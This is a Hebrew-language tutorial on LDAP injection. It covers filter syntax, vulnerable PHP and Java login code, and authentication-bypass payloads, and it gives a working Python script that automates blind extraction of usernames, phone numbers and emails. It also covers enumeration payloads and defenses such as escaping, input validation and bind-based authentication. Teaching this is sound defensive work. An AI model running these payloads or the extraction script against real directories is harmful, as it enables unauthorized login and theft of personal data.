הinjection LDAP¶
מבוא¶
LDAP (Lightweight Directory Access Protocol) הוא פרוטוקול לגישה ולניהול של שירותי ספרייה (Directory Services). הוא נפוץ מאוד בארגונים לניהול משתמשים, הרשאות, ואימות - בעיקר דרך Active Directory של Microsoft.
הinjection LDAP מתרחשת כאשר קלט המשתמש משולב ישירות בquery LDAP ללא סינון מתאים. התוצאה יכולה להיות bypass אותנטיקציה, חשיפת מידע, או שינוי הרשאות.
רקע - מבנה LDAP¶
מבנה הספרייה¶
dc=company,dc=com
|
+-- ou=People
| |
| +-- cn=John Smith
| +-- cn=Jane Doe
|
+-- ou=Groups
| |
| +-- cn=Admins
| +-- cn=Developers
|
+-- ou=Computers
תחביר פילטרים ב-LDAP¶
# Basic filter - equality
(cn=John Smith)
# AND filter - and
(&(objectClass=user)(cn=John Smith))
# OR filter - or
(|(cn=John)(cn=Jane))
# NOT filter - negation
(!(cn=John))
# Wildcard - a general character
(cn=J*)
# Complex filter - authentication
(&(uid=john)(userPassword=secret123))
תווים מיוחדים ב-LDAP¶
* - Wildcard (a general character)
( - opening parenthesis
) - closing parenthesis
\ - Escape character
NUL - null character
/ - slash
הinjection LDAP באותנטיקציה¶
קוד פגיע ב-PHP¶
<?php
$ldap = ldap_connect("ldap://ldap.company.com");
$username = $_POST['username'];
$password = $_POST['password'];
// Vulnerable! The input is inserted directly into the filter
$filter = "(&(uid=$username)(userPassword=$password))";
$result = ldap_search($ldap, "ou=People,dc=company,dc=com", $filter);
$entries = ldap_get_entries($ldap, $result);
if ($entries['count'] > 0) {
echo "Login successful!";
$_SESSION['user'] = $entries[0]['cn'][0];
} else {
echo "Invalid credentials";
}
?>
תקיפה - bypass אותנטיקציה¶
# Enter in the username field:
*
# The filter becomes:
(&(uid=*)(userPassword=anything))
# Returns all users - but the password is wrong
# Enter in the username field (full bypass):
admin)(&)
# The filter becomes:
(&(uid=admin)(&))(userPassword=anything))
# The (&) part always returns true
# and the (userPassword=anything) part is ignored
# Enter in the username field:
*)(uid=*))(|(uid=*
# The filter becomes:
(&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
# Returns all users
הbypass עם תו NULL¶
# Enter in the username field:
admin)%00
# The filter becomes:
(&(uid=admin)\0)(userPassword=anything))
# The null byte truncates the rest of the filter
# Depends on the implementation - works in some libraries
הinjection מבוססת OR¶
# Original filter
(uid=$input)
# Input:
*)(|(objectClass=*
# The filter becomes:
(uid=*)(|(objectClass=*))
# Returns all objects in the directory
חשיפת מידע עם OR¶
# Input that returns all objects of every type
*)(objectClass=*
# The filter becomes:
(uid=*)(objectClass=*)
# Returns everything that exists in the directory
הinjection LDAP עיוורת - Blind LDAP Injection¶
כאשר התגובה היא רק הצלחה/כישלון, אפשר לחלץ מידע תו אחר תו באמצעות wildcards:
הextraction שמות משתמשים¶
# Check: is there a user that starts with a?
(&(uid=a*)(objectClass=*))
# Check: is there a user that starts with ad?
(&(uid=ad*)(objectClass=*))
# Check: is there a user that starts with adm?
(&(uid=adm*)(objectClass=*))
# Continue until we find: admin
סקריפט אוטומטי לextraction¶
import requests
import string
url = "http://target.com/login"
charset = string.ascii_lowercase + string.digits + "_-."
def test_query(prefix):
"""Checks whether the filter returns results"""
data = {
"username": f"{prefix}*",
"password": "anything"
}
response = requests.post(url, data=data)
return "Welcome" in response.text or "success" in response.text.lower()
# Extract username
def extract_username():
username = ""
while True:
found = False
for char in charset:
if test_query(username + char):
username += char
found = True
print(f"[+] Username so far: {username}")
break
if not found:
break
return username
# Extract the value of a specific attribute
def extract_attribute(username, attribute):
"""Extracts the value of an attribute using blind injection"""
value = ""
while True:
found = False
for char in charset:
# payload: admin)(telephoneNumber=VALUE*
payload = f"{username})({attribute}={value}{char}*"
data = {
"username": payload,
"password": "anything"
}
response = requests.post(url, data=data)
if "Welcome" in response.text:
value += char
found = True
print(f"[+] {attribute}: {value}")
break
if not found:
break
return value
username = extract_username()
print(f"[+] Found username: {username}")
# Extract phone number, email, description, etc.
phone = extract_attribute(username, "telephoneNumber")
email = extract_attribute(username, "mail")
הinjection LDAP ב-Java¶
קוד פגיע¶
import javax.naming.*;
import javax.naming.directory.*;
public class LDAPAuth {
public boolean authenticate(String username, String password) {
try {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://ldap.company.com:389");
DirContext ctx = new InitialDirContext(env);
// Vulnerable! Building the filter with string concatenation
String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";
SearchControls controls = new SearchControls();
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results =
ctx.search("ou=People,dc=company,dc=com", filter, controls);
return results.hasMore();
} catch (NamingException e) {
return false;
}
}
}
קוד מתוקן¶
public boolean authenticateSafe(String username, String password) {
try {
// Step 1 - validation on the input
if (!username.matches("[a-zA-Z0-9._-]+")) {
return false;
}
// Step 2 - escaping special characters
String safeUsername = escapeLDAPFilter(username);
// Step 3 - search for the user
String filter = "(&(uid=" + safeUsername + ")(objectClass=person))";
// Step 4 - authenticate via LDAP bind (not comparing the password in the filter)
// This is the correct way - perform a bind with the user's credentials
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://ldap.company.com:389");
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "uid=" + safeUsername + ",ou=People,dc=company,dc=com");
env.put(Context.SECURITY_CREDENTIALS, password);
DirContext ctx = new InitialDirContext(env);
ctx.close();
return true;
} catch (AuthenticationException e) {
return false;
} catch (NamingException e) {
return false;
}
}
private String escapeLDAPFilter(String input) {
StringBuilder sb = new StringBuilder();
for (char c : input.toCharArray()) {
switch (c) {
case '\\': sb.append("\\5c"); break;
case '*': sb.append("\\2a"); break;
case '(': sb.append("\\28"); break;
case ')': sb.append("\\29"); break;
case '\0': sb.append("\\00"); break;
default: sb.append(c);
}
}
return sb.toString();
}
הextraction נתונים מ-LDAP¶
גילוי תכונות קיימות¶
# Check if an attribute exists for the user
admin)(telephoneNumber=* # Is there a phone number?
admin)(mail=* # Is there an email?
admin)(description=* # Is there a description?
admin)(userPassword=* # Is there a password?
admin)(memberOf=* # Is a member of groups?
גילוי קבוצות¶
# Check which group the user is in
admin)(memberOf=cn=A* # Group that starts with A?
admin)(memberOf=cn=Ad* # Group that starts with Ad?
admin)(memberOf=cn=Admin* # Admins group?
הinjection LDAP מתקדמת - שינוי הרשאות¶
במקרים נדירים, אם הגישה ל-LDAP היא עם הרשאות כתיבה:
# Changing attributes via LDAP injection
# payload in the username field:
admin)(|(description=hacked
# If there is access to modify operations
# It's possible to change groups, descriptions, or even passwords
הגנה מפני injection LDAP¶
1. סינון תווים מיוחדים - Escaping¶
<?php
function ldap_escape_filter($input) {
$metaChars = array(
'\\' => '\5c',
'*' => '\2a',
'(' => '\28',
')' => '\29',
"\x00" => '\00',
);
return str_replace(array_keys($metaChars), array_values($metaChars), $input);
}
// Usage
$safe_username = ldap_escape_filter($_POST['username']);
$filter = "(&(uid=$safe_username)(objectClass=person))";
?>
2. ולידציה על הקלט¶
<?php
// A whitelist of allowed characters
if (!preg_match('/^[a-zA-Z0-9._@-]+$/', $username)) {
die("Invalid username format");
}
?>
3. אימות עם LDAP Bind¶
<?php
// Instead of checking the password in the filter - perform a bind
$ldap = ldap_connect("ldap://ldap.company.com");
// Search for the user first (with escaping)
$safe_user = ldap_escape_filter($username);
$result = ldap_search($ldap, "ou=People,dc=company,dc=com", "(uid=$safe_user)");
$entries = ldap_get_entries($ldap, $result);
if ($entries['count'] == 1) {
$user_dn = $entries[0]['dn'];
// Attempt a bind with the DN and password
if (@ldap_bind($ldap, $user_dn, $password)) {
echo "Login successful!";
}
}
?>
4. שימוש בספריות פרמטריות¶
# Python with python-ldap
import ldap
conn = ldap.initialize('ldap://ldap.company.com')
# Using ldap.filter.escape_filter_chars
from ldap.filter import escape_filter_chars
safe_username = escape_filter_chars(username)
filter_str = f"(&(uid={safe_username})(objectClass=person))"
results = conn.search_s("ou=People,dc=company,dc=com", ldap.SCOPE_SUBTREE, filter_str)
סיכום¶
הinjection LDAP פחות נפוצה מ-SQLi אבל עדיין מסוכנת, במיוחד בסביבות ארגוניות שמשתמשות ב-Active Directory. נקודות המפתח:
- הפילטרים של LDAP משתמשים בתחביר מיוחד עם סוגריים ואופרטורים
- Wildcards (*) מאפשרים extraction מידע תו אחר תו
- תו ה-NULL יכול לחתוך את שאר הפילטר בחלק מהמימושים
- ההגנה הטובה ביותר היא שילוב של escaping, ולידציה, ושימוש ב-LDAP bind לאימות
- לעולם לא לשים סיסמה בתוך הפילטר - להשתמש ב-bind במקום